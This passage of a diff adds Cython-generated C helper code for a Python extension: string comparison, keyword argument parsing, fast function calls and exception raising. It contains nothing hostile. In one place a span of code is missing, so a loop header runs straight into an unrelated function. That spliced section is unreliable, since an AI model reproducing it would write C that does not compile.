} else if (PyBytes_CheckExact(s1) & PyBytes_CheckExact(s2)) { + const char *ps1, *ps2; + Py_ssize_t length = PyBytes_GET_SIZE(s1); + if (length != PyBytes_GET_SIZE(s2)) + return (equals == Py_NE); + ps1 = PyBytes_AS_STRING(s1); + ps2 = PyBytes_AS_STRING(s2); + if (ps1[0] != ps2[0]) { + return (equals == Py_NE); + } else if (length == 1) { + return (equals == Py_EQ); + } else { + int result; +#if CYTHON_USE_UNICODE_INTERNALS && (PY_VERSION_HEX < 0x030B0000) + Py_hash_t hash1, hash2; + hash1 = ((PyBytesObject*)s1)->ob_shash; + hash2 = ((PyBytesObject*)s2)->ob_shash; + if (hash1 != hash2 && hash1 != -1 && hash2 != -1) { + return (equals == Py_NE); + } +#endif + result = memcmp(ps1, ps2, (size_t)length); + return (equals == Py_EQ) ? (result == 0) : (result != 0); + } + } else if ((s1 == Py_None) & PyBytes_CheckExact(s2)) { + return (equals == Py_NE); + } else if ((s2 == Py_None) & PyBytes_CheckExact(s1)) { + return (equals == Py_NE); + } else { + int result; + PyObject* py_result = PyObject_RichCompare(s1, s2, equals); + if (!py_result) + return -1; + result = __Pyx_PyObject_IsTrue(py_result); + Py_DECREF(py_result); + return result; + } +#endif +} + +/* UnicodeEquals */ +static CYTHON_INLINE int __Pyx_PyUnicode_Equals(PyObject* s1, PyObject* s2, int equals) { +#if CYTHON_COMPILING_IN_PYPY || CYTHON_COMPILING_IN_LIMITED_API + return PyObject_RichCompareBool(s1, s2, equals); +#else +#if PY_MAJOR_VERSION < 3 + PyObject* owned_ref = NULL; +#endif + int s1_is_unicode, s2_is_unicode; + if (s1 == s2) { + goto return_eq; + } + s1_is_unicode = PyUnicode_CheckExact(s1); + s2_is_unicode = PyUnicode_CheckExact(s2); +#if PY_MAJOR_VERSION < 3 + if ((s1_is_unicode & (!s2_is_unicode)) && PyString_CheckExact(s2)) { + owned_ref = PyUnicode_FromObject(s2); + if (unlikely(!owned_ref)) + return -1; + s2 = owned_ref; + s2_is_unicode = 1; + } else if ((s2_is_unicode & (!s1_is_unicode)) && PyString_CheckExact(s1)) { + owned_ref = PyUnicode_FromObject(s1); + if (unlikely(!owned_ref)) + return -1; + s1 = owned_ref; + s1_is_unicode = 1; + } else if (((!s2_is_unicode) & (!s1_is_unicode))) { + return __Pyx_PyBytes_Equals(s1, s2, equals); + } +#endif + if (s1_is_unicode & s2_is_unicode) { + Py_ssize_t length; + int kind; + void *data1, *data2; + if (unlikely(__Pyx_PyUnicode_READY(s1) < 0) || unlikely(__Pyx_PyUnicode_READY(s2) < 0)) + return -1; + length = __Pyx_PyUnicode_GET_LENGTH(s1); + if (length != __Pyx_PyUnicode_GET_LENGTH(s2)) { + goto return_ne; + } +#if CYTHON_USE_UNICODE_INTERNALS + { + Py_hash_t hash1, hash2; + #if CYTHON_PEP393_ENABLED + hash1 = ((PyASCIIObject*)s1)->hash; + hash2 = ((PyASCIIObject*)s2)->hash; + #else + hash1 = ((PyUnicodeObject*)s1)->hash; + hash2 = ((PyUnicodeObject*)s2)->hash; + #endif + if (hash1 != hash2 && hash1 != -1 && hash2 != -1) { + goto return_ne; + } + } +#endif + kind = __Pyx_PyUnicode_KIND(s1); + if (kind != __Pyx_PyUnicode_KIND(s2)) { + goto return_ne; + } + data1 = __Pyx_PyUnicode_DATA(s1); + data2 = __Pyx_PyUnicode_DATA(s2); + if (__Pyx_PyUnicode_READ(kind, data1, 0) != __Pyx_PyUnicode_READ(kind, data2, 0)) { + goto return_ne; + } else if (length == 1) { + goto return_eq; + } else { + int result = memcmp(data1, data2, (size_t)(length * kind)); + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(owned_ref); + #endif + return (equals == Py_EQ) ? (result == 0) : (result != 0); + } + } else if ((s1 == Py_None) & s2_is_unicode) { + goto return_ne; + } else if ((s2 == Py_None) & s1_is_unicode) { + goto return_ne; + } else { + int result; + PyObject* py_result = PyObject_RichCompare(s1, s2, equals); + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(owned_ref); + #endif + if (!py_result) + return -1; + result = __Pyx_PyObject_IsTrue(py_result); + Py_DECREF(py_result); + return result; + } +return_eq: + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(owned_ref); + #endif + return (equals == Py_EQ); +return_ne: + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(owned_ref); + #endif + return (equals == Py_NE); +#endif +} + +/* fastcall */ +#if CYTHON_METH_FASTCALL +static CYTHON_INLINE PyObject * __Pyx_GetKwValue_FASTCALL(PyObject *kwnames, PyObject *const *kwvalues, PyObject *s) +{ + Py_ssize_t i, n = PyTuple_GET_SIZE(kwnames); + for (i = 0; i < n; i++) + { + if (s == PyTuple_GET_ITEM(kwnames, i)) return kwvalues[i]; + } + for (i = 0; i < n; i++) + { + int eq = __Pyx_PyUnicode_Equals(s, PyTuple_GET_ITEM(kwnames, i), Py_EQ); + if (unlikely(eq != 0)) { + if (unlikely(eq < 0)) return NULL; + return kwvalues[i]; + } + } + return NULL; +} +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030d0000 +CYTHON_UNUSED static PyObject *__Pyx_KwargsAsDict_FASTCALL(PyObject *kwnames, PyObject *const *kwvalues) { + Py_ssize_t i, nkwargs = PyTuple_GET_SIZE(kwnames); + PyObject *dict; + dict = PyDict_New(); + if (unlikely(!dict)) + return NULL; + for (i=0; i= 3 + "%s() got multiple values for keyword argument '%U'", func_name, kw_name); + #else + "%s() got multiple values for keyword argument '%s'", func_name, + PyString_AsString(kw_name)); + #endif +} + +/* ParseKeywords */ +static int __Pyx_ParseOptionalKeywords( + PyObject *kwds, + PyObject *const *kwvalues, + PyObject **argnames[], + PyObject *kwds2, + PyObject *values[], + Py_ssize_t num_pos_args, + const char* function_name) +{ + PyObject *key = 0, *value = 0; + Py_ssize_t pos = 0; + PyObject*** name; + PyObject*** first_kw_arg = argnames + num_pos_args; + int kwds_is_tuple = CYTHON_METH_FASTCALL && likely(PyTuple_Check(kwds)); + while (1) { + Py_XDECREF(key); key = NULL; + Py_XDECREF(value); value = NULL; + if (kwds_is_tuple) { + Py_ssize_t size; +#if CYTHON_ASSUME_SAFE_MACROS + size = PyTuple_GET_SIZE(kwds); +#else + size = PyTuple_Size(kwds); + if (size < 0) goto bad; +#endif + if (pos >= size) break; +#if CYTHON_AVOID_BORROWED_REFS + key = __Pyx_PySequence_ITEM(kwds, pos); + if (!key) goto bad; +#elif CYTHON_ASSUME_SAFE_MACROS + key = PyTuple_GET_ITEM(kwds, pos); +#else + key = PyTuple_GetItem(kwds, pos); + if (!key) goto bad; +#endif + value = kwvalues[pos]; + pos++; + } + else + { + if (!PyDict_Next(kwds, &pos, &key, &value)) break; +#if CYTHON_AVOID_BORROWED_REFS + Py_INCREF(key); +#endif + } + name = first_kw_arg; + while (*name && (**name != key)) name++; + if (*name) { + values[name-argnames] = value; +#if CYTHON_AVOID_BORROWED_REFS + Py_INCREF(value); + Py_DECREF(key); +#endif + key = NULL; + value = NULL; + continue; + } +#if !CYTHON_AVOID_BORROWED_REFS + Py_INCREF(key); +#endif + Py_INCREF(value); + name = first_kw_arg; + #if PY_MAJOR_VERSION < 3 + if (likely(PyString_Check(key))) { + while (*name) { + if ((CYTHON_COMPILING_IN_PYPY || PyString_GET_SIZE(**name) == PyString_GET_SIZE(key)) + && _PyString_Eq(**name, key)) { + values[name-argnames] = value; +#if CYTHON_AVOID_BORROWED_REFS + value = NULL; +#endif + break; + } + name++; + } + if (*name) continue; + else { + PyObject*** argname = argnames; + while (argname != first_kw_arg) { + if ((**argname == key) || ( + (CYTHON_COMPILING_IN_PYPY || PyString_GET_SIZE(**argname) == PyString_GET_SIZE(key)) + && _PyString_Eq(**argname, key))) { + goto arg_passed_twice; + } + argname++; + } + } + } else + #endif + if (likely(PyUnicode_Check(key))) { + while (*name) { + int cmp = ( + #if !CYTHON_COMPILING_IN_PYPY && PY_MAJOR_VERSION >= 3 + (__Pyx_PyUnicode_GET_LENGTH(**name) != __Pyx_PyUnicode_GET_LENGTH(key)) ? 1 : + #endif + PyUnicode_Compare(**name, key) + ); + if (cmp < 0 && unlikely(PyErr_Occurred())) goto bad; + if (cmp == 0) { + values[name-argnames] = value; +#if CYTHON_AVOID_BORROWED_REFS + value = NULL; +#endif + break; + } + name++; + } + if (*name) continue; + else { + PyObject*** argname = argnames; + while (argname != first_kw_arg) { + int cmp = (**argname == key) ? 0 : + #if !CYTHON_COMPILING_IN_PYPY && PY_MAJOR_VERSION >= 3 + (__Pyx_PyUnicode_GET_LENGTH(**argname) != __Pyx_PyUnicode_GET_LENGTH(key)) ? 1 : + #endif + PyUnicode_Compare(**argname, key); + if (cmp < 0 && unlikely(PyErr_Occurred())) goto bad; + if (cmp == 0) goto arg_passed_twice; + argname++; + } + } + } else + goto invalid_keyword_type; + if (kwds2) { + if (unlikely(PyDict_SetItem(kwds2, key, value))) goto bad; + } else { + goto invalid_keyword; + } + } + Py_XDECREF(key); + Py_XDECREF(value); + return 0; +arg_passed_twice: + __Pyx_RaiseDoubleKeywordsError(function_name, key); + goto bad; +invalid_keyword_type: + PyErr_Format(PyExc_TypeError, + "%.200s() keywords must be strings", function_name); + goto bad; +invalid_keyword: + #if PY_MAJOR_VERSION < 3 + PyErr_Format(PyExc_TypeError, + "%.200s() got an unexpected keyword argument '%.200s'", + function_name, PyString_AsString(key)); + #else + PyErr_Format(PyExc_TypeError, + "%s() got an unexpected keyword argument '%U'", + function_name, key); + #endif +bad: + Py_XDECREF(key); + Py_XDECREF(value); + return -1; +} + +/* PyDictVersioning */ +#if CYTHON_USE_DICT_VERSIONS && CYTHON_USE_TYPE_SLOTS +static CYTHON_INLINE PY_UINT64_T __Pyx_get_tp_dict_version(PyObject *obj) { + PyObject *dict = Py_TYPE(obj)->tp_dict; + return likely(dict) ? __PYX_GET_DICT_VERSION(dict) : 0; +} +static CYTHON_INLINE PY_UINT64_T __Pyx_get_object_dict_version(PyObject *obj) { + PyObject **dictptr = NULL; + Py_ssize_t offset = Py_TYPE(obj)->tp_dictoffset; + if (offset) { +#if CYTHON_COMPILING_IN_CPYTHON + dictptr = (likely(offset > 0)) ? (PyObject **) ((char *)obj + offset) : _PyObject_GetDictPtr(obj); +#else + dictptr = _PyObject_GetDictPtr(obj); +#endif + } + return (dictptr && *dictptr) ? __PYX_GET_DICT_VERSION(*dictptr) : 0; +} +static CYTHON_INLINE int __Pyx_object_dict_version_matches(PyObject* obj, PY_UINT64_T tp_dict_version, PY_UINT64_T obj_dict_version) { + PyObject *dict = Py_TYPE(obj)->tp_dict; + if (unlikely(!dict) || unlikely(tp_dict_version != __PYX_GET_DICT_VERSION(dict))) + return 0; + return obj_dict_version == __Pyx_get_object_dict_version(obj); +} +#endif + +/* GetModuleGlobalName */ +#if CYTHON_USE_DICT_VERSIONS +static PyObject *__Pyx__GetModuleGlobalName(PyObject *name, PY_UINT64_T *dict_version, PyObject **dict_cached_value) +#else +static CYTHON_INLINE PyObject *__Pyx__GetModuleGlobalName(PyObject *name) +#endif +{ + PyObject *result; +#if !CYTHON_AVOID_BORROWED_REFS +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030500A1 && PY_VERSION_HEX < 0x030d0000 + result = _PyDict_GetItem_KnownHash(__pyx_d, name, ((PyASCIIObject *) name)->hash); + __PYX_UPDATE_DICT_CACHE(__pyx_d, result, *dict_cached_value, *dict_version) + if (likely(result)) { + return __Pyx_NewRef(result); + } else if (unlikely(PyErr_Occurred())) { + return NULL; + } +#elif CYTHON_COMPILING_IN_LIMITED_API + if (unlikely(!__pyx_m)) { + return NULL; + } + result = PyObject_GetAttr(__pyx_m, name); + if (likely(result)) { + return result; + } +#else + result = PyDict_GetItem(__pyx_d, name); + __PYX_UPDATE_DICT_CACHE(__pyx_d, result, *dict_cached_value, *dict_version) + if (likely(result)) { + return __Pyx_NewRef(result); + } +#endif +#else + result = PyObject_GetItem(__pyx_d, name); + __PYX_UPDATE_DICT_CACHE(__pyx_d, result, *dict_cached_value, *dict_version) + if (likely(result)) { + return __Pyx_NewRef(result); + } + PyErr_Clear(); +#endif + return __Pyx_GetBuiltinName(name); +} + +/* PyFunctionFastCall */ +#if CYTHON_FAST_PYCALL && !CYTHON_VECTORCALL +static PyObject* __Pyx_PyFunction_FastCallNoKw(PyCodeObject *co, PyObject **args, Py_ssize_t na, + PyObject *globals) { + PyFrameObject *f; + PyThreadState *tstate = __Pyx_PyThreadState_Current; + PyObject **fastlocals; + Py_ssize_t i; + PyObject *result; + assert(globals != NULL); + /* XXX Perhaps we should create a specialized + PyFrame_New() that doesn't take locals, but does + take builtins without sanity checking them. + */ + assert(tstate != NULL); + f = PyFrame_New(tstate, co, globals, NULL); + if (f == NULL) { + return NULL; + } + fastlocals = __Pyx_PyFrame_GetLocalsplus(f); + for (i = 0; i < na; i++) { + Py_INCREF(*args); + fastlocals[i] = *args++; + } + result = PyEval_EvalFrameEx(f,0); + ++tstate->recursion_depth; + Py_DECREF(f); + --tstate->recursion_depth; + return result; +} +static PyObject *__Pyx_PyFunction_FastCallDict(PyObject *func, PyObject **args, Py_ssize_t nargs, PyObject *kwargs) { + PyCodeObject *co = (PyCodeObject *)PyFunction_GET_CODE(func); + PyObject *globals = PyFunction_GET_GLOBALS(func); + PyObject *argdefs = PyFunction_GET_DEFAULTS(func); + PyObject *closure; +#if PY_MAJOR_VERSION >= 3 + PyObject *kwdefs; +#endif + PyObject *kwtuple, **k; + PyObject **d; + Py_ssize_t nd; + Py_ssize_t nk; + PyObject *result; + assert(kwargs == NULL || PyDict_Check(kwargs)); + nk = kwargs ? PyDict_Size(kwargs) : 0; + #if PY_MAJOR_VERSION < 3 + if (unlikely(Py_EnterRecursiveCall((char*)" while calling a Python object"))) { + return NULL; + } + #else + if (unlikely(Py_EnterRecursiveCall(" while calling a Python object"))) { + return NULL; + } + #endif + if ( +#if PY_MAJOR_VERSION >= 3 + co->co_kwonlyargcount == 0 && +#endif + likely(kwargs == NULL || nk == 0) && + co->co_flags == (CO_OPTIMIZED | CO_NEWLOCALS | CO_NOFREE)) { + if (argdefs == NULL && co->co_argcount == nargs) { + result = __Pyx_PyFunction_FastCallNoKw(co, args, nargs, globals); + goto done; + } + else if (nargs == 0 && argdefs != NULL + && co->co_argcount == Py_SIZE(argdefs)) { + /* function called with no arguments, but all parameters have + a default value: use default values as arguments .*/ + args = &PyTuple_GET_ITEM(argdefs, 0); + result =__Pyx_PyFunction_FastCallNoKw(co, args, Py_SIZE(argdefs), globals); + goto done; + } + } + if (kwargs != NULL) { + Py_ssize_t pos, i; + kwtuple = PyTuple_New(2 * nk); + if (kwtuple == NULL) { + result = NULL; + goto done; + } + k = &PyTuple_GET_ITEM(kwtuple, 0); + pos = i = 0; + while (PyDict_Next(kwargs, &pos, &k[i], &k[i+1])) { + Py_INCREF(k[i]); + Py_INCREF(k[i+1]); + i += 2; + } + nk = i / 2; + } + else { + kwtuple = NULL; + k = NULL; + } + closure = PyFunction_GET_CLOSURE(func); +#if PY_MAJOR_VERSION >= 3 + kwdefs = PyFunction_GET_KW_DEFAULTS(func); +#endif + if (argdefs != NULL) { + d = &PyTuple_GET_ITEM(argdefs, 0); + nd = Py_SIZE(argdefs); + } + else { + d = NULL; + nd = 0; + } +#if PY_MAJOR_VERSION >= 3 + result = PyEval_EvalCodeEx((PyObject*)co, globals, (PyObject *)NULL, + args, (int)nargs, + k, (int)nk, + d, (int)nd, kwdefs, closure); +#else + result = PyEval_EvalCodeEx(co, globals, (PyObject *)NULL, + args, (int)nargs, + k, (int)nk, + d, (int)nd, closure); +#endif + Py_XDECREF(kwtuple); +done: + Py_LeaveRecursiveCall(); + return result; +} +#endif + +/* PyObjectCall */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyObject_Call(PyObject *func, PyObject *arg, PyObject *kw) { + PyObject *result; + ternaryfunc call = Py_TYPE(func)->tp_call; + if (unlikely(!call)) + return PyObject_Call(func, arg, kw); + #if PY_MAJOR_VERSION < 3 + if (unlikely(Py_EnterRecursiveCall((char*)" while calling a Python object"))) + return NULL; + #else + if (unlikely(Py_EnterRecursiveCall(" while calling a Python object"))) + return NULL; + #endif + result = (*call)(func, arg, kw); + Py_LeaveRecursiveCall(); + if (unlikely(!result) && unlikely(!PyErr_Occurred())) { + PyErr_SetString( + PyExc_SystemError, + "NULL result without error in PyObject_Call"); + } + return result; +} +#endif + +/* PyObjectCallMethO */ +#if CYTHON_COMPILING_IN_CPYTHON +static CYTHON_INLINE PyObject* __Pyx_PyObject_CallMethO(PyObject *func, PyObject *arg) { + PyObject *self, *result; + PyCFunction cfunc; + cfunc = __Pyx_CyOrPyCFunction_GET_FUNCTION(func); + self = __Pyx_CyOrPyCFunction_GET_SELF(func); + #if PY_MAJOR_VERSION < 3 + if (unlikely(Py_EnterRecursiveCall((char*)" while calling a Python object"))) + return NULL; + #else + if (unlikely(Py_EnterRecursiveCall(" while calling a Python object"))) + return NULL; + #endif + result = cfunc(self, arg); + Py_LeaveRecursiveCall(); + if (unlikely(!result) && unlikely(!PyErr_Occurred())) { + PyErr_SetString( + PyExc_SystemError, + "NULL result without error in PyObject_Call"); + } + return result; +} +#endif + +/* PyObjectFastCall */ +#if PY_VERSION_HEX < 0x03090000 || CYTHON_COMPILING_IN_LIMITED_API +static PyObject* __Pyx_PyObject_FastCall_fallback(PyObject *func, PyObject **args, size_t nargs, PyObject *kwargs) { + PyObject *argstuple; + PyObject *result = 0; + size_t i; + argstuple = PyTuple_New((Py_ssize_t)nargs); + if (unlikely(!argstuple)) return NULL; + for (i = 0; i < nargs; i++) { + Py_INCREF(args[i]); + if (__Pyx_PyTuple_SET_ITEM(argstuple, (Py_ssize_t)i, args[i]) < 0) goto bad; + } + result = __Pyx_PyObject_Call(func, argstuple, kwargs); + bad: + Py_DECREF(argstuple); + return result; +} +#endif +static CYTHON_INLINE PyObject* __Pyx_PyObject_FastCallDict(PyObject *func, PyObject **args, size_t _nargs, PyObject *kwargs) { + Py_ssize_t nargs = __Pyx_PyVectorcall_NARGS(_nargs); +#if CYTHON_COMPILING_IN_CPYTHON + if (nargs == 0 && kwargs == NULL) { + if (__Pyx_CyOrPyCFunction_Check(func) && likely( __Pyx_CyOrPyCFunction_GET_FLAGS(func) & METH_NOARGS)) + return __Pyx_PyObject_CallMethO(func, NULL); + } + else if (nargs == 1 && kwargs == NULL) { + if (__Pyx_CyOrPyCFunction_Check(func) && likely( __Pyx_CyOrPyCFunction_GET_FLAGS(func) & METH_O)) + return __Pyx_PyObject_CallMethO(func, args[0]); + } +#endif + #if PY_VERSION_HEX < 0x030800B1 + #if CYTHON_FAST_PYCCALL + if (PyCFunction_Check(func)) { + if (kwargs) { + return _PyCFunction_FastCallDict(func, args, nargs, kwargs); + } else { + return _PyCFunction_FastCallKeywords(func, args, nargs, NULL); + } + } + #if PY_VERSION_HEX >= 0x030700A1 + if (!kwargs && __Pyx_IS_TYPE(func, &PyMethodDescr_Type)) { + return _PyMethodDescr_FastCallKeywords(func, args, nargs, NULL); + } + #endif + #endif + #if CYTHON_FAST_PYCALL + if (PyFunction_Check(func)) { + return __Pyx_PyFunction_FastCallDict(func, args, nargs, kwargs); + } + #endif + #endif + if (kwargs == NULL) { + #if CYTHON_VECTORCALL + #if PY_VERSION_HEX < 0x03090000 + vectorcallfunc f = _PyVectorcall_Function(func); + #else + vectorcallfunc f = PyVectorcall_Function(func); + #endif + if (f) { + return f(func, args, (size_t)nargs, NULL); + } + #elif defined(__Pyx_CyFunction_USED) && CYTHON_BACKPORT_VECTORCALL + if (__Pyx_CyFunction_CheckExact(func)) { + __pyx_vectorcallfunc f = __Pyx_CyFunction_func_vectorcall(func); + if (f) return f(func, args, (size_t)nargs, NULL); + } + #endif + } + if (nargs == 0) { + return __Pyx_PyObject_Call(func, __pyx_empty_tuple, kwargs); + } + #if PY_VERSION_HEX >= 0x03090000 && !CYTHON_COMPILING_IN_LIMITED_API + return PyObject_VectorcallDict(func, args, (size_t)nargs, kwargs); + #else + return __Pyx_PyObject_FastCall_fallback(func, args, (size_t)nargs, kwargs); + #endif +} + +/* FixUpExtensionType */ +#if CYTHON_USE_TYPE_SPECS +static int __Pyx_fix_up_extension_type_from_spec(PyType_Spec *spec, PyTypeObject *type) { +#if PY_VERSION_HEX > 0x030900B1 || CYTHON_COMPILING_IN_LIMITED_API + CYTHON_UNUSED_VAR(spec); + CYTHON_UNUSED_VAR(type); +#else + const PyType_Slot *slot = spec->slots; + while (slot && slot->slot && slot->slot != Py_tp_members) + slot++; + if (slot && slot->slot == Py_tp_members) { + int changed = 0; +#if !(PY_VERSION_HEX <= 0x030900b1 && CYTHON_COMPILING_IN_CPYTHON) + const +#endif + PyMemberDef *memb = (PyMemberDef*) slot->pfunc; + while (memb && memb->name) { + if (memb->name[0] == '_' && memb->name[1] == '_') { +#if PY_VERSION_HEX < 0x030900b1 + if (strcmp(memb->name, "__weaklistoffset__") == 0) { + assert(memb->type == T_PYSSIZET); + assert(memb->flags == READONLY); + type->tp_weaklistoffset = memb->offset; + changed = 1; + } + else if (strcmp(memb->name, "__dictoffset__") == 0) { + assert(memb->type == T_PYSSIZET); + assert(memb->flags == READONLY); + type->tp_dictoffset = memb->offset; + changed = 1; + } +#if CYTHON_METH_FASTCALL + else if (strcmp(memb->name, "__vectorcalloffset__") == 0) { + assert(memb->type == T_PYSSIZET); + assert(memb->flags == READONLY); +#if PY_VERSION_HEX >= 0x030800b4 + type->tp_vectorcall_offset = memb->offset; +#else + type->tp_print = (printfunc) memb->offset; +#endif + changed = 1; + } +#endif +#else + if ((0)); +#endif +#if PY_VERSION_HEX <= 0x030900b1 && CYTHON_COMPILING_IN_CPYTHON + else if (strcmp(memb->name, "__module__") == 0) { + PyObject *descr; + assert(memb->type == T_OBJECT); + assert(memb->flags == 0 || memb->flags == READONLY); + descr = PyDescr_NewMember(type, memb); + if (unlikely(!descr)) + return -1; + if (unlikely(PyDict_SetItem(type->tp_dict, PyDescr_NAME(descr), descr) < 0)) { + Py_DECREF(descr); + return -1; + } + Py_DECREF(descr); + changed = 1; + } +#endif + } + memb++; + } + if (changed) + PyType_Modified(type); + } +#endif + return 0; +} +#endif + +/* FetchSharedCythonModule */ +static PyObject *__Pyx_FetchSharedCythonABIModule(void) { + return __Pyx_PyImport_AddModuleRef((char*) __PYX_ABI_MODULE_NAME); +} + +/* FetchCommonType */ +static int __Pyx_VerifyCachedType(PyObject *cached_type, + const char *name, + Py_ssize_t basicsize, + Py_ssize_t expected_basicsize) { + if (!PyType_Check(cached_type)) { + PyErr_Format(PyExc_TypeError, + "Shared Cython type %.200s is not a type object", name); + return -1; + } + if (basicsize != expected_basicsize) { + PyErr_Format(PyExc_TypeError, + "Shared Cython type %.200s has the wrong size, try recompiling", + name); + return -1; + } + return 0; +} +#if !CYTHON_USE_TYPE_SPECS +static PyTypeObject* __Pyx_FetchCommonType(PyTypeObject* type) { + PyObject* abi_module; + const char* object_name; + PyTypeObject *cached_type = NULL; + abi_module = __Pyx_FetchSharedCythonABIModule(); + if (!abi_module) return NULL; + object_name = strrchr(type->tp_name, '.'); + object_name = object_name ? object_name+1 : type->tp_name; + cached_type = (PyTypeObject*) PyObject_GetAttrString(abi_module, object_name); + if (cached_type) { + if (__Pyx_VerifyCachedType( + (PyObject *)cached_type, + object_name, + cached_type->tp_basicsize, + type->tp_basicsize) < 0) { + goto bad; + } + goto done; + } + if (!PyErr_ExceptionMatches(PyExc_AttributeError)) goto bad; + PyErr_Clear(); + if (PyType_Ready(type) < 0) goto bad; + if (PyObject_SetAttrString(abi_module, object_name, (PyObject *)type) < 0) + goto bad; + Py_INCREF(type); + cached_type = type; +done: + Py_DECREF(abi_module); + return cached_type; +bad: + Py_XDECREF(cached_type); + cached_type = NULL; + goto done; +} +#else +static PyTypeObject *__Pyx_FetchCommonTypeFromSpec(PyObject *module, PyType_Spec *spec, PyObject *bases) { + PyObject *abi_module, *cached_type = NULL; + const char* object_name = strrchr(spec->name, '.'); + object_name = object_name ? object_name+1 : spec->name; + abi_module = __Pyx_FetchSharedCythonABIModule(); + if (!abi_module) return NULL; + cached_type = PyObject_GetAttrString(abi_module, object_name); + if (cached_type) { + Py_ssize_t basicsize; +#if CYTHON_COMPILING_IN_LIMITED_API + PyObject *py_basicsize; + py_basicsize = PyObject_GetAttrString(cached_type, "__basicsize__"); + if (unlikely(!py_basicsize)) goto bad; + basicsize = PyLong_AsSsize_t(py_basicsize); + Py_DECREF(py_basicsize); + py_basicsize = 0; + if (unlikely(basicsize == (Py_ssize_t)-1) && PyErr_Occurred()) goto bad; +#else + basicsize = likely(PyType_Check(cached_type)) ? ((PyTypeObject*) cached_type)->tp_basicsize : -1; +#endif + if (__Pyx_VerifyCachedType( + cached_type, + object_name, + basicsize, + spec->basicsize) < 0) { + goto bad; + } + goto done; + } + if (!PyErr_ExceptionMatches(PyExc_AttributeError)) goto bad; + PyErr_Clear(); + CYTHON_UNUSED_VAR(module); + cached_type = __Pyx_PyType_FromModuleAndSpec(abi_module, spec, bases); + if (unlikely(!cached_type)) goto bad; + if (unlikely(__Pyx_fix_up_extension_type_from_spec(spec, (PyTypeObject *) cached_type) < 0)) goto bad; + if (PyObject_SetAttrString(abi_module, object_name, cached_type) < 0) goto bad; +done: + Py_DECREF(abi_module); + assert(cached_type == NULL || PyType_Check(cached_type)); + return (PyTypeObject *) cached_type; +bad: + Py_XDECREF(cached_type); + cached_type = NULL; + goto done; +} +#endif + +/* RaiseException */ +#if PY_MAJOR_VERSION < 3 +static void __Pyx_Raise(PyObject *type, PyObject *value, PyObject *tb, PyObject *cause) { + __Pyx_PyThreadState_declare + CYTHON_UNUSED_VAR(cause); + Py_XINCREF(type); + if (!value || value == Py_None) + value = NULL; + else + Py_INCREF(value); + if (!tb || tb == Py_None) + tb = NULL; + else { + Py_INCREF(tb); + if (!PyTraceBack_Check(tb)) { + PyErr_SetString(PyExc_TypeError, + "raise: arg 3 must be a traceback or None"); + goto raise_error; + } + } + if (PyType_Check(type)) { +#if CYTHON_COMPILING_IN_PYPY + if (!value) { + Py_INCREF(Py_None); + value = Py_None; + } +#endif + PyErr_NormalizeException(&type, &value, &tb); + } else { + if (value) { + PyErr_SetString(PyExc_TypeError, + "instance exception may not have a separate value"); + goto raise_error; + } + value = type; + type = (PyObject*) Py_TYPE(type); + Py_INCREF(type); + if (!PyType_IsSubtype((PyTypeObject *)type, (PyTypeObject *)PyExc_BaseException)) { + PyErr_SetString(PyExc_TypeError, + "raise: exception class must be a subclass of BaseException"); + goto raise_error; + } + } + __Pyx_PyThreadState_assign + __Pyx_ErrRestore(type, value, tb); + return; +raise_error: + Py_XDECREF(value); + Py_XDECREF(type); + Py_XDECREF(tb); + return; +} +#else +static void __Pyx_Raise(PyObject *type, PyObject *value, PyObject *tb, PyObject *cause) { + PyObject* owned_instance = NULL; + if (tb == Py_None) { + tb = 0; + } else if (tb && !PyTraceBack_Check(tb)) { + PyErr_SetString(PyExc_TypeError, + "raise: arg 3 must be a traceback or None"); + goto bad; + } + if (value == Py_None) + value = 0; + if (PyExceptionInstance_Check(type)) { + if (value) { + PyErr_SetString(PyExc_TypeError, + "instance exception may not have a separate value"); + goto bad; + } + value = type; + type = (PyObject*) Py_TYPE(value); + } else if (PyExceptionClass_Check(type)) { + PyObject *instance_class = NULL; + if (value && PyExceptionInstance_Check(value)) { + instance_class = (PyObject*) Py_TYPE(value); + if (instance_class != type) { + int is_subclass = PyObject_IsSubclass(instance_class, type); + if (!is_subclass) { + instance_class = NULL; + } else if (unlikely(is_subclass == -1)) { + goto bad; + } else { + type = instance_class; + } + } + } + if (!instance_class) { + PyObject *args; + if (!value) + args = PyTuple_New(0); + else if (PyTuple_Check(value)) { + Py_INCREF(value); + args = value; + } else + args = PyTuple_Pack(1, value); + if (!args) + goto bad; + owned_instance = PyObject_Call(type, args, NULL); + Py_DECREF(args); + if (!owned_instance) + goto bad; + value = owned_instance; + if (!PyExceptionInstance_Check(value)) { + PyErr_Format(PyExc_TypeError, + "calling %R should have returned an instance of " + "BaseException, not %R", + type, Py_TYPE(value)); + goto bad; + } + } + } else { + PyErr_SetString(PyExc_TypeError, + "raise: exception class must be a subclass of BaseException"); + goto bad; + } + if (cause) { + PyObject *fixed_cause; + if (cause == Py_None) { + fixed_cause = NULL; + } else if (PyExceptionClass_Check(cause)) { + fixed_cause = PyObject_CallObject(cause, NULL); + if (fixed_cause == NULL) + goto bad; + } else if (PyExceptionInstance_Check(cause)) { + fixed_cause = cause; + Py_INCREF(fixed_cause); + } else { + PyErr_SetString(PyExc_TypeError, + "exception causes must derive from " + "BaseException"); + goto bad; + } + PyException_SetCause(value, fixed_cause); + } + PyErr_SetObject(type, value); + if (tb) { + #if PY_VERSION_HEX >= 0x030C00A6 + PyException_SetTraceback(value, tb); + #elif CYTHON_FAST_THREAD_STATE + PyThreadState *tstate = __Pyx_PyThreadState_Current; + PyObject* tmp_tb = tstate->curexc_traceback; + if (tb != tmp_tb) { + Py_INCREF(tb); + tstate->curexc_traceback = tb; + Py_XDECREF(tmp_tb); + } +#else + PyObject *tmp_type, *tmp_value, *tmp_tb; + PyErr_Fetch(&tmp_type, &tmp_value, &tmp_tb); + Py_INCREF(tb); + PyErr_Restore(tmp_type, tmp_value, tb); + Py_XDECREF(tmp_tb); +#endif + } +bad: + Py_XDECREF(owned_instance); + return; +} +#endif + +/* GetTopmostException */ +#if CYTHON_USE_EXC_INFO_STACK && CYTHON_FAST_THREAD_STATE +static _PyErr_StackItem * +__Pyx_PyErr_GetTopmostException(PyThreadState *tstate) +{ + 